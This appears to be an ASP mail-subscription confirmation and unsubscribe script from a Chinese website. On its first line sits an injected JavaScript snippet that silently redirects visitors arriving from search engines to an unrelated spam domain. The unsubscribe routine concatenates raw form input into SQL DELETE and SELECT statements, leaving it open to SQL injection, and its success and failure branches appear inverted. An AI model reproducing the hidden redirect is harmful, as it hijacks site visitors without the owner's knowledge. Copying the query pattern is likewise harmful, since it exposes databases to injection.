d:\wwwroot\wuchunhua\mail\ver.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<!--#include file="email.asp"-->
003:
<meta http-equiv="Content-Language" content="zh-cn">
004:
<%
dim fsemail
005:
fsemail=request.form("fsemail")
006:
if request.form("td")<>"" then
007:
dim rs
008:
response.write "<script>alert('你真的要退订本站邮件列表吗？');</script>"
009:
call td(fsemail)
010:
response.end
011:
end if
012:
dim sql,addr0,addr1,addr,emailbody
013:
set rs=server.createobject("adodb.recordset")
014:
addr0=request.servervariables("server_name")
015:
addr1=request.servervariables("url")
016:
addr1=replace(addr1,"ver.asp","check.asp")
017:
addr="http://"&addr0&addr1
018:
sql="select qrx,yjlb,fwq,passname,password,fa,faemail,yjzj from admin"
019:
rs.open sql,conn,1,1
020:
emailbody=rs("qrx")
021:
emailbody=emailbody &"<p><font size=2>＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝</font></p>"
022:
emailbody=emailbody &"<p><font size=2>请点击下面的链接以确认你的订阅：</font></p>"
023:
emailbody=emailbody &"<p><font size=2>"
024:
emailbody=emailbody &"<a href="&addr&"?email="&fsemail&">"
025:
emailbody=emailbody &addr&"?email="&fsemail&"</a></font></p>"
026:
emailbody=emailbody &"<p><font size=2>如果不能点击的，请你把上面这段地址复制后添入浏览器确认就可以了。</font></p>"
027:
emailbody=emailbody &"<p><font size=2>＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝</font></p>"
028:
dim title,txt,faemail,fa,hjf,passname,password,fwq,yjzj,radiobutton,fujian
029:
title = rs("yjlb")&"订阅确认信"
030:
txt=emailbody
031:
faemail = rs("faemail")
032:
fa=rs("fa")
033:
radiobutton="html"
034:
hjf = 3
035:
if rs("passname")<>"" and rs("password")<>"" then
036:
passname =rs("passname")
037:
PassWord =rs("password")
038:
end if
039:
fwq=rs("fwq")
040:
yjzj=rs("yjzj")
041:
rs.close:set rs=nothing
042:
043:
Select Case yjzj
044:
Case "Jmail"
045:
call Jmail(fsemail)
046:
Case "Cdonts"
047:
call Cdonts(fsemail)
048:
Case "aspemail"
049:
call aspemail(fsemail)
050:
End Select
051:
052:
if err then
053:
set rs=conn.execute("select dy from admin")
054:
response.write rs("dy")
055:
set rs=nothing
056:
call closeDB()
057:
else
058:
response.write "<script>alert('由于系统错误，订阅没有成功。\n请稍后再试，或者联系网站管理员！');history.go(-1)</script>"
059:
end if
060:
sub td(email)
061:
set rs=conn.execute("select email from email where email='"&fsemail&"'")
062:
if rs.eof and rs.bof then
063:
response.write "<script>alert('你要退订的邮箱地址不存在！');history.go(-1)</script>"
064:
response.end
065:
end if
066:
conn.execute("delete from email where email='"&email&"'")
067:
set rs=conn.execute("select td from admin")
068:
response.write rs(0)
069:
set rs=nothing
070:
call closeDB()
071:
end sub
072:
%
>
073:
074: